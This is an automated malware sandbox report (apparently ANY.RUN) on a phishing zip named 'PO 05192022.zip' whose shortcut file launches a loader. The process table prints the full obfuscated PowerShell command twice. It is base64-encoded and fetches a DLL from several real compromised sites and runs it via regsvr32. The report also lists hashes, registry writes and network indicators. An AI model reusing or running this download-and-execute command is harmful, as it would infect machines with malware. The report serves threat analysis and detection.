analyze malware
- Huge database of samples and IOCs
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- Unlimited submissions
- Interactive approach
| File name: | PO 05192022.zip |
| Full analysis: | https://app.any.run/tasks/329d3647-0e97-480b-bf53-0e99aa258b96 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | May 20, 2022, 19:29:21 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | BF36108410AAC3F93AEB617DCF590B54 |
| SHA1: | 09041323A5470513606E7B562BFC9D250ED4CCE8 |
| SHA256: | F46AEBF07D1133A0B220E053CB94AFB85E4BB887E64E192B11787E9B1EF90AA0 |
| SSDEEP: | 48:48KjfCM1N8x1qNvsz9T577SnlbixXlAiMJOD:1KjqGtNvszb7SnlOhqkD |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 912)
Drops executable file immediately after starts
- powershell.exe (PID: 2480)
Registers / Runs the DLL via REGSVR32.EXE
- powershell.exe (PID: 2480)
SUSPICIOUS
Checks supported languages
- WinRAR.exe (PID: 2840)
- cmd.exe (PID: 912)
- powershell.exe (PID: 2480)
Reads the computer name
- WinRAR.exe (PID: 2840)
- powershell.exe (PID: 2480)
Starts CMD.EXE for commands execution
- WinRAR.exe (PID: 2840)
Reads Environment values
- powershell.exe (PID: 2480)
Executable content was dropped or overwritten
- powershell.exe (PID: 2480)
Drops a file with a compile date too recent
- powershell.exe (PID: 2480)
INFO
Checks Windows Trust Settings
- powershell.exe (PID: 2480)
Checks supported languages
- regsvr32.exe (PID: 3648)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipFileName: | PO 05192022.lnk |
|---|---|
| ZipUncompressedSize: | 3567 |
| ZipCompressedSize: | 1577 |
| ZipCRC: | 0x1a9b7d70 |
| ZipModifyDate: | 2022:05:19 23:07:01 |
| ZipCompression: | Deflated |
| ZipBitFlag: | 0x0009 |
| ZipRequiredVersion: | 788 |
Total processes
37
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2840 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\PO 05192022.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | Explorer.EXE |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 | ||||
| 912 | "C:\Windows\System32\cmd.exe" /v:on /c rHvPDFfkGrBKotKeJEC00HiJ81OzJ4XhTK3GQwk0q+36Jo+rGh5k5GsHDCX+s1Y1mWf9L0f6||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$zjMY=[System.Text.Encoding]::ASCII;$RTZ='ICAgV3JpdGUtSG9zdCAid09paUUiOyRQcm9ncmVzc1ByZWZlcm';$AZ='VuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9uYXRkZW1vLm5hdHJpeHNvZnR3YXJlLmNvbS93cC1hZG1pbi9CMWJBLyIsImh0dHA6Ly9vY3RhbnRlLm5ldC9hY2FkZW1pYS9BdDJGZkZjRGZrSS8iLCJodHRwOi8vbm9yYmVhbHVuLmlkLmF1L2ltYWdlcy9aTDgvIiwiaHR0cDovL25hcG9saWxvdmVtYXJrLmNvbS9SZTllMjdWM0tkL1BRRnYvIiwiaHR0cHM6Ly9ub3JkaWNieXNpZ2h0LnNlL3dwLWFkbWluL2tkRnJXSjQvIiwiaHR0cDovL3AyMzYxMTkud2Vic3BhY2Vjb25maWcuZGUvd29yZHByZXNzLzcvIik7JHQ9ImVKbWtLSCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxUYWxxRk11eUtVLnVNYTtSZWdzdnIzMi5leGUgIiRkXFRhbHFGTXV5S1UudU1hIjticmVha30gY2F0Y2ggeyB9fQ==';$hJV=[System.Convert]::FromBase64String($RTZ+$AZ);$Ygu=$zjMY.GetString($hJV); iex ($Ygu)}" | C:\Windows\System32\cmd.exe | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2480 | powershell.exe -c "&{$zjMY=[System.Text.Encoding]::ASCII;$RTZ='ICAgV3JpdGUtSG9zdCAid09paUUiOyRQcm9ncmVzc1ByZWZlcm';$AZ='VuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9uYXRkZW1vLm5hdHJpeHNvZnR3YXJlLmNvbS93cC1hZG1pbi9CMWJBLyIsImh0dHA6Ly9vY3RhbnRlLm5ldC9hY2FkZW1pYS9BdDJGZkZjRGZrSS8iLCJodHRwOi8vbm9yYmVhbHVuLmlkLmF1L2ltYWdlcy9aTDgvIiwiaHR0cDovL25hcG9saWxvdmVtYXJrLmNvbS9SZTllMjdWM0tkL1BRRnYvIiwiaHR0cHM6Ly9ub3JkaWNieXNpZ2h0LnNlL3dwLWFkbWluL2tkRnJXSjQvIiwiaHR0cDovL3AyMzYxMTkud2Vic3BhY2Vjb25maWcuZGUvd29yZHByZXNzLzcvIik7JHQ9ImVKbWtLSCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxUYWxxRk11eUtVLnVNYTtSZWdzdnIzMi5leGUgIiRkXFRhbHFGTXV5S1UudU1hIjticmVha30gY2F0Y2ggeyB9fQ==';$hJV=[System.Convert]::FromBase64String($RTZ+$AZ);$Ygu=$zjMY.GetString($hJV); iex ($Ygu)}" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
| 3648 | "C:\Windows\system32\regsvr32.exe" C:\Users\admin\AppData\Local\Temp\..\eJmkKH\TalqFMuyKU.uMa | C:\Windows\system32\regsvr32.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft(C) Register Server Exit code: 3 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 971
Read events
1 940
Write events
31
Delete events
0
Modification events
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\Win7-KB3191566-x86.zip | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\PO 05192022.zip | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2840) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
Executable files
1
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2840 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb2840.12474\PO 05192022.lnk | lnk | |
MD5:667343461CBE770E2AA32128ED657941 | SHA256:9B951077F1CB07EC96ECACEAAD2AEAD7929FBCBEC96583E27446A75DF0EA8D74 | |||
| 2480 | powershell.exe | C:\Users\admin\AppData\Local\eJmkKH\TalqFMuyKU.uMa | executable | |
MD5:42F8CFA67C77B5B323004A960C30AF43 | SHA256:26F8E338A1D4CD8A3BBF8672CBF26C01CDD554EF62FDED49EBBA8FC6D7F50B84 | |||
| 2480 | powershell.exe | C:\Users\admin\AppData\Local\Temp\0mhht522.vru.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
| 2480 | powershell.exe | C:\Users\admin\AppData\Local\Temp\fxgeus1s.psp.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
| 2480 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2480 | powershell.exe | GET | 200 | 166.62.84.232:80 | http://natdemo.natrixsoftware.com/wp-admin/B1bA/ | US | executable | 356 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2480 | powershell.exe | 166.62.84.232:80 | natdemo.natrixsoftware.com | GoDaddy.com, LLC | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
natdemo.natrixsoftware.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2480 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2480 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2480 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |